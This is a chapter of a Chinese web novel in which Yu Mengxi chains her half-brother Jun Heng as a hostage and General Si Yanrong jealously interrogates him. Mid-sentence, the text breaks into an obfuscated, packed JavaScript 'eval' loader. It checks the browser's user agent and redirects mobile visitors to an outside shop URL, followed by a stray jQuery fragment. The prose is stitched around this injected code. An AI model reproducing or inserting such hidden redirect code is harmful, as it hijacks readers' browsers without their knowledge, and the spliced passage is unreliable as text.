夜晚的风有一丝丝的凉意,但更多的是宁静与未知。
被十几个高手看着,手脚还被铁链锁着,对于君恒这个大帅哥来说属实有一点点惨。他何曾“享受”过这种待遇?
君恒静静地坐在院中的石凳上,看着弯月和璀璨的星空,孤影清冷,一副心事重重的样子。
旁边的石桌上放着一盏琉璃灯,为这一方院落增添了亮色。
鱼梦羲双手提着衣摆悄悄地溜进了院子里,发间插着的珠花随着步伐轻轻地晃动着,眼眸里似藏着一闪一闪的星辰。都说了,她不是干坏事的那块料,否则怎么会因为这点事而心虚到鬼鬼祟祟?
“限制兄长的人生自由,还用铁链将他给锁起来。他不会被我给逼成反派吧?要是他以后专门与我作对,那可就不好了。”鱼梦羲在靠近君恒之前,摊开双手看了看,仿佛看到了一双沾了点“罪恶”的手——我这也是没办法呀,君恒大哥,不用铁链锁你,肯定是留不住你的,留不住你,又怎么能要挟那个渣爹尽快出现呢?
不管了,她不会放过任何一个可能弄来解药的机会。
君恒转头瞧见鱼梦羲歪着头眨着眼睛,像极了某一日在墙头上偷瞧自己的那只野猫。他的嘴角不由得弯出了弧度——看在你是我妹妹的份上,看在你人也比较有意思的份上,我暂且不与你生气,但是你最好早点让人解开我身上这该死的锁链。
“嗨,哥哥,晚上好啊。我那妘思表妹长的像个仙女似的,她与我最要好,她如果见到你,肯定会喜欢你的。你们站在一起绝对是郎才女貌,可是她毕竟是公主,名副其实的公主。哥哥,能跟我说说咱家的家底到底有多厚吗?或者你在南幽国有什么功名、职务、爵位傍身吗?你把一切都告诉我,我将来也好向我那皇帝舅舅引荐你。”鱼梦羲浅浅地笑着,挺直了腰杆——我不能让他看出来我有点心虚,更不能让他抓住我有心软的毛病,否则他可能会反过来要挟我。
确实如此,如果对方突然以自己的性命相要挟,那她要不要放他走?额,其实鱼梦羲有点多虑了,不是所有人都喜欢她那一套把戏的。她那一套把戏也只对良心未完全泯灭的人有效。
君恒公子举止文雅,傲骨铮铮的样子透着贵气,难以想象到他会眼含泪花地说——你要是不放我走,我就死给你看。
但是,就是这样难以想象的画面,此刻却出现在了鱼梦羲的脑海中。她噗嗤一声笑了,笑声清脆悦耳。
“哼!鬼鬼祟祟地跑来看我,还莫名其妙地笑了……”君恒心中郁积起来的怒气瞬间消散了大半。他站了起来,拖着铁链走向鱼梦羲,旁边的侍卫很紧张——刀剑都出鞘了。
鱼梦羲示意侍卫们别紧张,她解释道:“那个哥哥,用铁链锁着你,也是怕你不配合,绝对没有其他意思。等日子久了,咱们兄妹之间相处出十足的信任感来了,我今后一定不会再锁你。”
君恒:“你不会以为我会一而再在,再而三地栽在你手里吧?”
鱼梦羲:“放心吧,我不会虐待你的,更不会给你下毒。哥哥,你是我见过的长得最帅的男人,就像是从画中走出来的仙子。”
君恒:“可是,我比画中人好看多了。”
鱼梦羲睁大了眼睛——这家伙还有点自恋,虽然他有自恋的资格,但终究是嫩了点,比我的大叔还要差那么一点点。
这是什么表情?
君恒见鱼梦羲鼓着嘴不接话,问:“怎么?难道妹妹刚才夸赞我的那些话都是假话?”
这位小哥,你的关注点有点偏,难道你不该重点回答一下人家刚才一上来就提的那一堆问题吗?
“怎么可能?我说的都是‘真心’话。”
鱼梦羲主动将君恒扶坐到原来的石凳上,又吩咐下人上茶水、点心和水果,并亲自斟茶,将茶碗端到君恒的嘴边:“喝点茶,润润喉咙,把妹妹的疑惑都解了呗?”
她的眼睛都眨得快要抽筋了,结果君恒就是不回答刚才的问题。茶可以喝,也可以接受你继续献殷勤,但你休想现在就从我嘴里得到那些问题的答案。
鱼梦羲只好先放弃了——他今天被我这样对待,心中有点怨气也是应该的,那么咱们就来日方长,先聊点轻松的话题。
她坐到了君恒哥哥旁边的石凳上,没话找话说:“我那表妹啊……”
君恒:“她长的很美,我远远地见过。”
鱼梦羲拿起一块糕点,塞到了君恒哥哥的嘴里,笑嘻嘻地说:“哈哈,一见钟情的故事,有点意思。我那表妹她比较活泼、顽皮,人很善良,我很喜欢她,看来哥哥你与我的品味一样啊。你们的故事将来一定是这样的,一见钟情,再见倾心,三见误终身。但是,我大商国的驸马可不是那么容易就能当上的,而且你还是一个外国人。”
她是懂聊天的,展开人家最感兴趣的话题来聊。可是,“可怜”的君恒,这么大的一个帅哥被妹妹突然塞了一块糕点在嘴里,脸色都变了——从小到大,我最不喜欢吃酸枣味的。
话说鱼梦羲,你想献殷勤投喂,你动作也温柔点噻,哪有直接将吃的东西塞进人家嘴里的?
见君恒哥哥将糕点吐掉了,鱼梦羲好像明白了:“额,这桃子味道不错,要不哥哥吃点?”
她拿起盘子里的银刀,将一枚熟透的桃子的果皮划开,甜香味瞬间散开了。她将桃子的外皮剥开,并将红通通的果肉递到了君恒哥哥的嘴边……
“啊,张开嘴,尝一口嘛。”
“他大概也不喜欢吃桃。”
司炎融突然闪现,并飞速来到了鱼梦羲的身边。他伸手抓住她拿桃子的手,连手带桃拉到自己的唇边,并低头咬了一大口桃肉。
汁水流到了他们的手上,某人将桃子接手过去,又咔嚓咔嚓两口将桃子吃的只剩下核了。
司炎融帅气地扔掉桃核,拿过侍卫递过来的绢帕,再次抓住鱼梦羲的手,替她擦掉手上的汁水。
这番操作的速度很快,君恒在一边都看傻眼了。鱼梦羲也有点傻眼——大叔,吃醋可以,但是咱不能这么乱吃飞醋啊。
随后,司炎融又吩咐下人去打盆清水来,然后他拉着鱼梦羲一块洗了洗手,并再次替她擦干了手。
不是,大叔,既然要洗手,那洗手之前您替人家擦手的意义何在?只能说,不是大手摸小手摸上瘾了,就是在宣示着什么。
司炎融:“以后吃水果让婢女喂你吃,别弄脏了自己的手。我有时间的话,也可以喂你。”
早有人将两个空余的石凳移换了位置
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343349|146714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,司炎融拉着鱼梦羲坐到了君恒的对面,并兑现自己刚刚说的话——轻柔地给鱼梦羲投喂李子。
当着君恒这个外人的面,他们举止亲密无间,一个像是在喂嗷嗷待哺的小鸟,一个好像宠“妹”精附身了。
君恒抖了抖身上的铁链,说:“妹妹,你还未出阁,你和他这样不清不楚的,算是怎么回事啊?”
听君恒这么一说,鱼梦羲有点不好意思了,一抹红晕悄悄地爬上了她的耳尖。她心想——跟大叔在一块,总是不自觉地会忘记其他人,算了,我还是先回去写密折吧,皇帝的暗影使者这两天该过来拿了。
写密折,对鱼梦羲来说是一项任务,一项可以苟全性命和身份的任务。她从来都是如实汇报,事无巨细,言辞切切。开头常写,外甥女鱼某诚惶诚恐陈述,伏惟陛下垂鉴;结尾常写,关于大将军的事,唯恐有遗漏,伏乞陛下海涵。
要做到言辞切切,必须在措辞方面动一些心机,这需要耗费不少时间。鱼梦羲趴到司炎融的耳边,说了句暗语,然后起身跑开了。
于是,司炎融终于有时间来看一眼这个来路不明的男人了。
君恒:“我妹妹的名声已经坏在大将军的手里了。”
司炎融:“我与羲儿是不离不弃的关系,我会迎娶她。”
君恒挑了挑眉,用意味深长的眼神看着司炎融,说:“如果我不同意她嫁给你呢?”
司炎融:“我认为,你这个突然冒出来的兄长还没有资格来左右羲儿的人生。而且,我劝你最好不要将你与羲儿的兄妹关系张扬出去,除非你是南幽国太子妫君恒。否则,冒认皇亲这个罪名随时可能会降临到你们父子的头上。”
君恒:“不小心同名而已,我正打算改名呢。如果我是南幽国太子,又岂会在这当你们的人质?司大将军,我看你对我妹妹挺好的,有意帮你一把。你能不能不要用铁链锁着我?我保证将来会给你弄来解药。”
司炎融:“你我相识还不到一天,你在我这儿还没有信誉可言。”
君恒苦笑着说:“真是失策呀,我君某人从小到大还没有受过这样的委屈,早知道如此,这个妹妹当初不认也罢。”
司炎融:“现在后悔也不晚,只要你如实交代你是谁?还有你那个叫甪里的父亲的真名叫什么,我或许可以考虑早点放你走。”
君恒不为所动,不紧不慢地说:“他叫甪里,我叫君恒,这有什么问题吗?大将军想必有所耳闻,在我们南幽国,只有皇族的人才会有名有姓。而我们父子皆乡野草民,根本没有姓氏。”
司炎融的心中生出一个疑问,那就是——妘菲公主那么高傲的一个人,她会委身给一个乡野草民吗?
君恒:“大将军带着公主出来明着巡视军营,暗中负责剿灭安王,结果第一回合不仅没有抓住安王,还让安王跑回封地去了,你知道外面现在都在怎么说你吗?”
司炎融:“你还知道些什么?”
君恒:“我还知道你等待圣旨的到来。不是有‘将在外君命有所不受’这一条吗?怎么?贵国的皇帝就这么不信任你吗?”
司炎融的眼神中透露出一股冷静而严厉的气息,他站起来盯着君恒眼睛说:“本将军早晚会查清楚你们父子的底细。”